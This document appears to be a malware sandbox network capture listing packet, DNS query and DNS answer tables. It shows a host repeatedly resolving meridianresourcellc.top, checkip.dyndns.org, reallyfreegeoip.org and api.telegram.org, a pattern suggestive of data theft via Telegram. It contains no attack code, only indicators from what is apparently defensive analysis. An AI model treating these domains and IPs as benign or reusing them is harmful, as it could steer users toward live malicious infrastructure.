Jul 26, 2024 23:45:53.508639097 CEST	49202	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:53.517083883 CEST	49201	80	192.168.2.22	193.122.130.0
Jul 26, 2024 23:45:53.522593021 CEST	80	49201	193.122.130.0	192.168.2.22
Jul 26, 2024 23:45:53.522655010 CEST	49201	80	192.168.2.22	193.122.130.0
Jul 26, 2024 23:45:53.530767918 CEST	49203	443	192.168.2.22	149.154.167.220
Jul 26, 2024 23:45:53.530797958 CEST	443	49203	149.154.167.220	192.168.2.22
Jul 26, 2024 23:45:53.530858040 CEST	49203	443	192.168.2.22	149.154.167.220
Jul 26, 2024 23:45:53.531322956 CEST	49203	443	192.168.2.22	149.154.167.220
Jul 26, 2024 23:45:53.531339884 CEST	443	49203	149.154.167.220	192.168.2.22
Jul 26, 2024 23:45:54.357132912 CEST	443	49203	149.154.167.220	192.168.2.22
Jul 26, 2024 23:45:54.357323885 CEST	49203	443	192.168.2.22	149.154.167.220
Jul 26, 2024 23:45:54.363334894 CEST	49203	443	192.168.2.22	149.154.167.220
Jul 26, 2024 23:45:54.363347054 CEST	443	49203	149.154.167.220	192.168.2.22
Jul 26, 2024 23:45:54.363801956 CEST	443	49203	149.154.167.220	192.168.2.22
Jul 26, 2024 23:45:54.366568089 CEST	49203	443	192.168.2.22	149.154.167.220
Jul 26, 2024 23:45:54.412503958 CEST	443	49203	149.154.167.220	192.168.2.22
Jul 26, 2024 23:45:54.603488922 CEST	443	49203	149.154.167.220	192.168.2.22
Jul 26, 2024 23:45:54.603717089 CEST	443	49203	149.154.167.220	192.168.2.22
Jul 26, 2024 23:45:54.603787899 CEST	49203	443	192.168.2.22	149.154.167.220
Jul 26, 2024 23:45:54.604264975 CEST	49203	443	192.168.2.22	149.154.167.220
Jul 26, 2024 23:46:46.517594099 CEST	80	49180	193.122.6.168	192.168.2.22
Jul 26, 2024 23:46:46.517715931 CEST	49180	80	192.168.2.22	193.122.6.168
Jul 26, 2024 23:46:47.080703020 CEST	80	49182	193.122.6.168	192.168.2.22
Jul 26, 2024 23:46:47.080770016 CEST	49182	80	192.168.2.22	193.122.6.168

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 26, 2024 23:45:03.630995989 CEST	54562	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:04.632219076 CEST	54562	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:04.830096960 CEST	53	54562	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:04.934381962 CEST	53	54562	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:06.556224108 CEST	52917	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:07.462266922 CEST	53	52917	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:07.464293003 CEST	62751	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:07.840570927 CEST	53	62751	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:12.067383051 CEST	57893	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:12.076077938 CEST	53	57893	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:12.079323053 CEST	54821	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:12.181380987 CEST	53	54821	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:13.343615055 CEST	54719	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:13.351985931 CEST	53	54719	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:13.353574038 CEST	49881	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:13.458283901 CEST	53	49881	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:14.731673956 CEST	54998	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:14.743086100 CEST	53	54998	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:14.748781919 CEST	52781	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:14.845243931 CEST	53	52781	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:19.707108021 CEST	63926	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:19.716862917 CEST	53	63926	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:24.043891907 CEST	65510	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:24.051151037 CEST	53	65510	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:24.053987980 CEST	62672	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:24.060973883 CEST	53	62672	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:27.972532034 CEST	56475	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:27.979532957 CEST	53	56475	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:28.104296923 CEST	49384	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:28.114315033 CEST	53	49384	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:28.175985098 CEST	54842	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:28.185820103 CEST	53	54842	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:28.237948895 CEST	58105	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:28.251365900 CEST	53	58105	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:30.739588022 CEST	64928	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:30.750123978 CEST	53	64928	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:35.180413008 CEST	57390	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:35.186748981 CEST	53	57390	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:35.197536945 CEST	58095	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:35.203803062 CEST	53	58095	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:35.707544088 CEST	54261	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:35.718290091 CEST	53	54261	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:36.460616112 CEST	60507	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:36.466989040 CEST	53	60507	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:36.615905046 CEST	50446	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:36.624397993 CEST	53	50446	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:36.718583107 CEST	55939	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:36.725044966 CEST	53	55939	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:36.768357038 CEST	49608	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:36.774833918 CEST	53	49608	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:37.864142895 CEST	61486	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:37.871150017 CEST	53	61486	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:39.764463902 CEST	62453	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:39.771265030 CEST	53	62453	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:39.834836960 CEST	50568	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:39.842966080 CEST	53	50568	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:39.856924057 CEST	50568	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:39.863590002 CEST	53	50568	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:40.729053974 CEST	61467	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:40.735959053 CEST	53	61467	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:41.384654999 CEST	61618	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:41.401194096 CEST	53	61618	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:41.401381969 CEST	61618	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:41.407588005 CEST	53	61618	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:41.412700891 CEST	54422	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:41.419262886 CEST	53	54422	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:41.523608923 CEST	52074	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:41.535531044 CEST	53	52074	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:41.535685062 CEST	52074	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:41.542736053 CEST	53	52074	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:42.179760933 CEST	50337	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:42.186707020 CEST	53	50337	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:42.250423908 CEST	50337	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:42.257505894 CEST	53	50337	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:42.480201960 CEST	61826	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:42.486668110 CEST	53	61826	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:42.525684118 CEST	56329	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:42.532221079 CEST	53	56329	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:42.533655882 CEST	63469	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:42.536890030 CEST	59447	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:42.540035009 CEST	53	63469	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:42.543221951 CEST	53	59447	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:43.332685947 CEST	51828	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:43.339736938 CEST	53	51828	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:44.129057884 CEST	53406	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:44.136018991 CEST	53	53406	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:44.321737051 CEST	53406	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:44.328207016 CEST	53	53406	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:44.405365944 CEST	56345	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:44.408076048 CEST	51870	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:44.412067890 CEST	53	56345	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:44.418123960 CEST	53	51870	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:45.065634966 CEST	65009	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:45.075834036 CEST	53	65009	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:45.158632994 CEST	64956	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:45.164971113 CEST	53	64956	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:45.166779041 CEST	54521	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:45.173413992 CEST	53	54521	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:45.690232992 CEST	49750	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:45.697089911 CEST	53	49750	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:45.698802948 CEST	64687	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:45.706389904 CEST	53	64687	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:46.552696943 CEST	65084	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:46.560062885 CEST	53	65084	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:46.880353928 CEST	63373	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:46.887716055 CEST	53	63373	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:46.887924910 CEST	63373	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:46.894819975 CEST	53	63373	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:47.240937948 CEST	56207	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:47.247642994 CEST	53	56207	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:47.501458883 CEST	51955	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:47.507905006 CEST	53	51955	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:47.510821104 CEST	58971	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:47.518174887 CEST	53	58971	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:48.004776001 CEST	51014	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:48.018521070 CEST	53	51014	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:48.681628942 CEST	49690	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:48.689132929 CEST	53	49690	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:48.691155910 CEST	60169	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:48.697443008 CEST	53	60169	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:49.384118080 CEST	53060	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:49.391303062 CEST	53	53060	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:50.050956964 CEST	49949	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:50.057598114 CEST	53	49949	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:50.059477091 CEST	54027	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:50.065959930 CEST	53	54027	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:51.692125082 CEST	63950	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:51.699316978 CEST	53	63950	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:52.378108978 CEST	58257	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:52.384382010 CEST	53	58257	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:52.386624098 CEST	54738	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:52.393100023 CEST	53	54738	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:52.866657019 CEST	49478	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:52.873044968 CEST	53	49478	8.8.8.8	192.168.2.22
Jul 26, 2024 23:45:53.523926973 CEST	49288	53	192.168.2.22	8.8.8.8
Jul 26, 2024 23:45:53.530426979 CEST	53	49288	8.8.8.8	192.168.2.22

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jul 26, 2024 23:45:04.934621096 CEST	192.168.2.22	8.8.8.8	d02d	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 26, 2024 23:45:03.630995989 CEST	192.168.2.22	8.8.8.8	0xed0b	Standard query (0)	meridianresourcellc.top	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:04.632219076 CEST	192.168.2.22	8.8.8.8	0xed0b	Standard query (0)	meridianresourcellc.top	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:06.556224108 CEST	192.168.2.22	8.8.8.8	0x61f5	Standard query (0)	meridianresourcellc.top	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:07.464293003 CEST	192.168.2.22	8.8.8.8	0x6ccd	Standard query (0)	meridianresourcellc.top	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:12.067383051 CEST	192.168.2.22	8.8.8.8	0x1100	Standard query (0)	meridianresourcellc.top	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:12.079323053 CEST	192.168.2.22	8.8.8.8	0x2664	Standard query (0)	meridianresourcellc.top	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:13.343615055 CEST	192.168.2.22	8.8.8.8	0xb6ec	Standard query (0)	meridianresourcellc.top	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:13.353574038 CEST	192.168.2.22	8.8.8.8	0xd97e	Standard query (0)	meridianresourcellc.top	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:14.731673956 CEST	192.168.2.22	8.8.8.8	0x9c5b	Standard query (0)	meridianresourcellc.top	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:14.748781919 CEST	192.168.2.22	8.8.8.8	0x4189	Standard query (0)	meridianresourcellc.top	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:19.707108021 CEST	192.168.2.22	8.8.8.8	0xeec9	Standard query (0)	meridianresourcellc.top	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:24.043891907 CEST	192.168.2.22	8.8.8.8	0x2383	Standard query (0)	meridianresourcellc.top	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:24.053987980 CEST	192.168.2.22	8.8.8.8	0x1185	Standard query (0)	meridianresourcellc.top	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:27.972532034 CEST	192.168.2.22	8.8.8.8	0x98ab	Standard query (0)	meridianresourcellc.top	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:28.104296923 CEST	192.168.2.22	8.8.8.8	0xae0f	Standard query (0)	meridianresourcellc.top	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:28.175985098 CEST	192.168.2.22	8.8.8.8	0x63c0	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:28.237948895 CEST	192.168.2.22	8.8.8.8	0xe435	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:30.739588022 CEST	192.168.2.22	8.8.8.8	0x3571	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:35.180413008 CEST	192.168.2.22	8.8.8.8	0x2a3f	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:35.197536945 CEST	192.168.2.22	8.8.8.8	0xc284	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:35.707544088 CEST	192.168.2.22	8.8.8.8	0x94d0	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:36.460616112 CEST	192.168.2.22	8.8.8.8	0x5323	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:36.615905046 CEST	192.168.2.22	8.8.8.8	0x1d8f	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:36.718583107 CEST	192.168.2.22	8.8.8.8	0xfd5d	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:36.768357038 CEST	192.168.2.22	8.8.8.8	0xa5e4	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:37.864142895 CEST	192.168.2.22	8.8.8.8	0xa29a	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:39.764463902 CEST	192.168.2.22	8.8.8.8	0xbb4c	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:39.834836960 CEST	192.168.2.22	8.8.8.8	0xc49	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:39.856924057 CEST	192.168.2.22	8.8.8.8	0xc49	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:40.729053974 CEST	192.168.2.22	8.8.8.8	0x3cad	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:41.384654999 CEST	192.168.2.22	8.8.8.8	0x8630	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:41.401381969 CEST	192.168.2.22	8.8.8.8	0x8630	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:41.412700891 CEST	192.168.2.22	8.8.8.8	0xc693	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:41.523608923 CEST	192.168.2.22	8.8.8.8	0xafa5	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:41.535685062 CEST	192.168.2.22	8.8.8.8	0xafa5	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:42.179760933 CEST	192.168.2.22	8.8.8.8	0xfa66	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:42.250423908 CEST	192.168.2.22	8.8.8.8	0xfa66	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:42.480201960 CEST	192.168.2.22	8.8.8.8	0x6749	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:42.525684118 CEST	192.168.2.22	8.8.8.8	0xc764	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:42.533655882 CEST	192.168.2.22	8.8.8.8	0xf05d	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:42.536890030 CEST	192.168.2.22	8.8.8.8	0x916	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:43.332685947 CEST	192.168.2.22	8.8.8.8	0x49fb	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:44.129057884 CEST	192.168.2.22	8.8.8.8	0x2302	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:44.321737051 CEST	192.168.2.22	8.8.8.8	0x2302	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:44.405365944 CEST	192.168.2.22	8.8.8.8	0x68be	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:44.408076048 CEST	192.168.2.22	8.8.8.8	0x6dc6	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:45.065634966 CEST	192.168.2.22	8.8.8.8	0x2ef7	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:45.158632994 CEST	192.168.2.22	8.8.8.8	0xc927	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:45.166779041 CEST	192.168.2.22	8.8.8.8	0xd5c4	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:45.690232992 CEST	192.168.2.22	8.8.8.8	0x473a	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:45.698802948 CEST	192.168.2.22	8.8.8.8	0x29fe	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:46.552696943 CEST	192.168.2.22	8.8.8.8	0xdd21	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:46.880353928 CEST	192.168.2.22	8.8.8.8	0x9609	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:46.887924910 CEST	192.168.2.22	8.8.8.8	0x9609	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:47.240937948 CEST	192.168.2.22	8.8.8.8	0x104a	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:47.501458883 CEST	192.168.2.22	8.8.8.8	0xcbff	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:47.510821104 CEST	192.168.2.22	8.8.8.8	0x1edc	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:48.004776001 CEST	192.168.2.22	8.8.8.8	0x7bf8	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:48.681628942 CEST	192.168.2.22	8.8.8.8	0x844a	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:48.691155910 CEST	192.168.2.22	8.8.8.8	0xaf79	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:49.384118080 CEST	192.168.2.22	8.8.8.8	0x92bd	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:50.050956964 CEST	192.168.2.22	8.8.8.8	0x2dab	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:50.059477091 CEST	192.168.2.22	8.8.8.8	0xe0de	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:51.692125082 CEST	192.168.2.22	8.8.8.8	0x5c7f	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:52.378108978 CEST	192.168.2.22	8.8.8.8	0x7b1e	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:52.386624098 CEST	192.168.2.22	8.8.8.8	0xe4a	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:52.866657019 CEST	192.168.2.22	8.8.8.8	0x960	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:53.523926973 CEST	192.168.2.22	8.8.8.8	0x4e26	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 26, 2024 23:45:04.830096960 CEST	8.8.8.8	192.168.2.22	0xed0b	No error (0)	meridianresourcellc.top		104.21.52.88	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:04.830096960 CEST	8.8.8.8	192.168.2.22	0xed0b	No error (0)	meridianresourcellc.top		172.67.197.72	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:04.934381962 CEST	8.8.8.8	192.168.2.22	0xed0b	No error (0)	meridianresourcellc.top		172.67.197.72	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:04.934381962 CEST	8.8.8.8	192.168.2.22	0xed0b	No error (0)	meridianresourcellc.top		104.21.52.88	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:07.462266922 CEST	8.8.8.8	192.168.2.22	0x61f5	No error (0)	meridianresourcellc.top		172.67.197.72	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:07.462266922 CEST	8.8.8.8	192.168.2.22	0x61f5	No error (0)	meridianresourcellc.top		104.21.52.88	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:07.840570927 CEST	8.8.8.8	192.168.2.22	0x6ccd	No error (0)	meridianresourcellc.top		104.21.52.88	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:07.840570927 CEST	8.8.8.8	192.168.2.22	0x6ccd	No error (0)	meridianresourcellc.top		172.67.197.72	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:12.076077938 CEST	8.8.8.8	192.168.2.22	0x1100	No error (0)	meridianresourcellc.top		104.21.52.88	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:12.076077938 CEST	8.8.8.8	192.168.2.22	0x1100	No error (0)	meridianresourcellc.top		172.67.197.72	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:12.181380987 CEST	8.8.8.8	192.168.2.22	0x2664	No error (0)	meridianresourcellc.top		104.21.52.88	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:12.181380987 CEST	8.8.8.8	192.168.2.22	0x2664	No error (0)	meridianresourcellc.top		172.67.197.72	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:13.351985931 CEST	8.8.8.8	192.168.2.22	0xb6ec	No error (0)	meridianresourcellc.top		104.21.52.88	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:13.351985931 CEST	8.8.8.8	192.168.2.22	0xb6ec	No error (0)	meridianresourcellc.top		172.67.197.72	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:13.458283901 CEST	8.8.8.8	192.168.2.22	0xd97e	No error (0)	meridianresourcellc.top		104.21.52.88	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:13.458283901 CEST	8.8.8.8	192.168.2.22	0xd97e	No error (0)	meridianresourcellc.top		172.67.197.72	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:14.743086100 CEST	8.8.8.8	192.168.2.22	0x9c5b	No error (0)	meridianresourcellc.top		104.21.52.88	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:14.743086100 CEST	8.8.8.8	192.168.2.22	0x9c5b	No error (0)	meridianresourcellc.top		172.67.197.72	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:14.845243931 CEST	8.8.8.8	192.168.2.22	0x4189	No error (0)	meridianresourcellc.top		104.21.52.88	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:14.845243931 CEST	8.8.8.8	192.168.2.22	0x4189	No error (0)	meridianresourcellc.top		172.67.197.72	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:19.716862917 CEST	8.8.8.8	192.168.2.22	0xeec9	No error (0)	meridianresourcellc.top		104.21.52.88	A (IP address)	IN (0x0001)	false
